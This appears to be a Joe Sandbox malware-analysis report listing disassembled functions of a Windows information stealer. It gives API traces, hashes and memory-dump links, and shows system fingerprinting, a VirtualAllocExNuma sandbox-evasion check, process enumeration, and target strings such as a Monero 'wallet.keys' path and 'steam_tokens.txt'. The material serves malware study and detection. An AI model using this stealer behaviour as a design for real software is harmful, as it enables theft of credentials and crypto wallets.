Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 4db6290af3d8921ba9c29b5e78a626dfdaa4948c129c1414e49b71f54c76ca96
Instruction ID: 800ec7a89db5061c2eb8ed3c0052a45a40fcf51345fd01902f795927993bfd50
Opcode Fuzzy Hash: 4db6290af3d8921ba9c29b5e78a626dfdaa4948c129c1414e49b71f54c76ca96
Instruction Fuzzy Hash: 8CF03A7994020CABDB15DFA4DD4AFEE7778FB08310F004498BA09972D0D6B46A85CB91

Function 00A01110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00A0112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00A01132
ExitProcess.KERNEL32 ref: 00A01143

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: dc685d8bc14fafd1669fac2add5948dd7761ab0849685437577bf9c90b9400e8
Instruction ID: 22327c0457125f6989c9de17fc62b8177eab63465d9db9246d80db63cbe99d3c
Opcode Fuzzy Hash: dc685d8bc14fafd1669fac2add5948dd7761ab0849685437577bf9c90b9400e8
Instruction Fuzzy Hash: EEE0E674A8530CFBE7106BA0AD0AB4D7678FB05B05F504154F709761D0D6B526409699

Function 00A11A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

Part of subcall function 00A17500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00A17542
Part of subcall function 00A17500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A1757F
Part of subcall function 00A17500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A17603
Part of subcall function 00A17500: RtlAllocateHeap.NTDLL(00000000), ref: 00A1760A

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

Part of subcall function 00A17690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A176A4
Part of subcall function 00A17690: RtlAllocateHeap.NTDLL(00000000), ref: 00A176AB

Part of subcall function 00A177C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00A1DBC0,000000FF,?,00A11C99,00000000,?,010BD6E0,00000000,?), ref: 00A177F2
Part of subcall function 00A177C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00A1DBC0,000000FF,?,00A11C99,00000000,?,010BD6E0,00000000,?), ref: 00A177F9

Part of subcall function 00A17850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00A011B7), ref: 00A17880
Part of subcall function 00A17850: RtlAllocateHeap.NTDLL(00000000), ref: 00A17887
Part of subcall function 00A17850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00A1789F

Part of subcall function 00A178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A17910
Part of subcall function 00A178E0: RtlAllocateHeap.NTDLL(00000000), ref: 00A17917
Part of subcall function 00A178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00A1792F

Part of subcall function 00A17980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00A20E00,00000000,?), ref: 00A179B0
Part of subcall function 00A17980: RtlAllocateHeap.NTDLL(00000000), ref: 00A179B7
Part of subcall function 00A17980: GetLocalTime.KERNEL32(?,?,?,?,?,00A20E00,00000000,?), ref: 00A179C4
Part of subcall function 00A17980: wsprintfA.USER32 ref: 00A179F3

Part of subcall function 00A17A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,010BE278,00000000,?,00A20E10,00000000,?,00000000,00000000), ref: 00A17A63
Part of subcall function 00A17A30: RtlAllocateHeap.NTDLL(00000000), ref: 00A17A6A
Part of subcall function 00A17A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,010BE278,00000000,?,00A20E10,00000000,?,00000000,00000000,?), ref: 00A17A7D

Part of subcall function 00A17B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,010BE278,00000000,?,00A20E10,00000000,?,00000000,00000000), ref: 00A17B35

Part of subcall function 00A17B90: GetKeyboardLayoutList.USER32(00000000,00000000,00A205AF), ref: 00A17BE1
Part of subcall function 00A17B90: LocalAlloc.KERNEL32(00000040,?), ref: 00A17BF9
Part of subcall function 00A17B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00A17C0D
Part of subcall function 00A17B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00A17C62
Part of subcall function 00A17B90: LocalFree.KERNEL32(00000000), ref: 00A17D22

Part of subcall function 00A17D80: GetSystemPowerStatus.KERNEL32(?), ref: 00A17DAD

GetCurrentProcessId.KERNEL32(00000000,?,010BD8A0,00000000,?,00A20E24,00000000,?,00000000,00000000,?,010BE3E0,00000000,?,00A20E20,00000000), ref: 00A1207E

Part of subcall function 00A19470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00A19484
Part of subcall function 00A19470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00A194A5
Part of subcall function 00A19470: CloseHandle.KERNEL32(00000000), ref: 00A194AF

Part of subcall function 00A17E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A17E37
Part of subcall function 00A17E00: RtlAllocateHeap.NTDLL(00000000), ref: 00A17E3E
Part of subcall function 00A17E00: RegOpenKeyExA.KERNEL32(80000002,010AC518,00000000,00020119,?), ref: 00A17E5E
Part of subcall function 00A17E00: RegQueryValueExA.KERNEL32(?,010BD860,00000000,00000000,000000FF,000000FF), ref: 00A17E7F
Part of subcall function 00A17E00: RegCloseKey.ADVAPI32(?), ref: 00A17E92

Part of subcall function 00A17F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00A17FC9
Part of subcall function 00A17F60: GetLastError.KERNEL32 ref: 00A17FD8

Part of subcall function 00A17ED0: GetSystemInfo.KERNEL32(00A20E2C), ref: 00A17F00
Part of subcall function 00A17ED0: wsprintfA.USER32 ref: 00A17F16

Part of subcall function 00A18100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,010BE308,00000000,?,00A20E2C,00000000,?,00000000), ref: 00A18130
Part of subcall function 00A18100: RtlAllocateHeap.NTDLL(00000000), ref: 00A18137
Part of subcall function 00A18100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00A18158
Part of subcall function 00A18100: wsprintfA.USER32 ref: 00A181AC

Part of subcall function 00A187C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00A20E28,00000000,?), ref: 00A1882F
Part of subcall function 00A187C0: RtlAllocateHeap.NTDLL(00000000), ref: 00A18836
Part of subcall function 00A187C0: wsprintfA.USER32 ref: 00A18850

Part of subcall function 00A18320: RegOpenKeyExA.KERNEL32(00000000,010BB388,00000000,00020019,00000000,00A205B6), ref: 00A183A4

Part of subcall function 00A18320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00A18426
Part of subcall function 00A18320: wsprintfA.USER32 ref: 00A18459
Part of subcall function 00A18320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00A1847B
Part of subcall function 00A18320: RegCloseKey.ADVAPI32(00000000), ref: 00A1848C
Part of subcall function 00A18320: RegCloseKey.ADVAPI32(00000000), ref: 00A18499

Part of subcall function 00A18680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00A205B7), ref: 00A186CA
Part of subcall function 00A18680: Process32First.KERNEL32(?,00000128), ref: 00A186DE
Part of subcall function 00A18680: Process32Next.KERNEL32(?,00000128), ref: 00A186F3
Part of subcall function 00A18680: CloseHandle.KERNEL32(?), ref: 00A18761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00A1265B

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUserlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 60318822-0
Opcode ID: 3af0647b42a400ea33c7234affe29df1c5b3dc4ab0e35ca27f9450cbf1668975
Instruction ID: 99308a4181ca15c641e538cc53cdf874aef147d1c198d3753eedb7158a9cbe14
Opcode Fuzzy Hash: 3af0647b42a400ea33c7234affe29df1c5b3dc4ab0e35ca27f9450cbf1668975
Instruction Fuzzy Hash: EA725176D11118AADB19FB90DE92EEE733CAF34310F5446A9B11662051EF302BCACF65

Function 00A06D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01d79a93f51bb3a109f121f7de790feb030a0ab9c51d075ee9709140bb951146
Instruction ID: ab418793639078cd329f8c3a924e857be1bdcce3d29d2d2315c766f27ca1dd41
Opcode Fuzzy Hash: 01d79a93f51bb3a109f121f7de790feb030a0ab9c51d075ee9709140bb951146
Instruction Fuzzy Hash: 736106B4D0021DDFDB14DF94EA84BEEB7B0BB08308F108598E5196B280D775AEA4DF91

Function 00A170D0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00A1718C

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: 032a5ee0a5ead88a7def61327c0636e88cc6c57c72e42da1558d82d85258618f
Instruction ID: 6def0023438b0fc6b94f1260cff7b0aa283ec9e1de58d278c10a165152bd28f6
Opcode Fuzzy Hash: 032a5ee0a5ead88a7def61327c0636e88cc6c57c72e42da1558d82d85258618f
Instruction Fuzzy Hash: B85190B0D04218AFDB24EB90DD85BEEB374AF54304F1051A8E615B7182EB746EC9CF59

Function 00A15100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A820: lstrlen.KERNEL32(00A04F05,?,?,00A04F05,00A20DDE), ref: 00A1A82B
Part of subcall function 00A1A820: lstrcpy.KERNEL32(00A20DDE,00000000), ref: 00A1A885

lstrlen.KERNEL32(00000000,00000000,00A20ACA), ref: 00A1512A

Strings

steam_tokens.txt, xrefs: 00A1513F

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 84bb4712eec6832ad9377bf1f165d5461712a6861897614691d38a84fa4118aa
Instruction ID: e112c2d3a76458eb050a6921c30275aae6b9067e1f25b97bfecf8a6e721fb6f2
Opcode Fuzzy Hash: 84bb4712eec6832ad9377bf1f165d5461712a6861897614691d38a84fa4118aa
Instruction Fuzzy Hash: 29F01971D5110866CB08FBB4EE579ED733CAF64350F404268B817A60D2EF346B8AC7A2

Function 00A17ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00A20E2C), ref: 00A17F00
wsprintfA.USER32 ref: 00A17F16

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
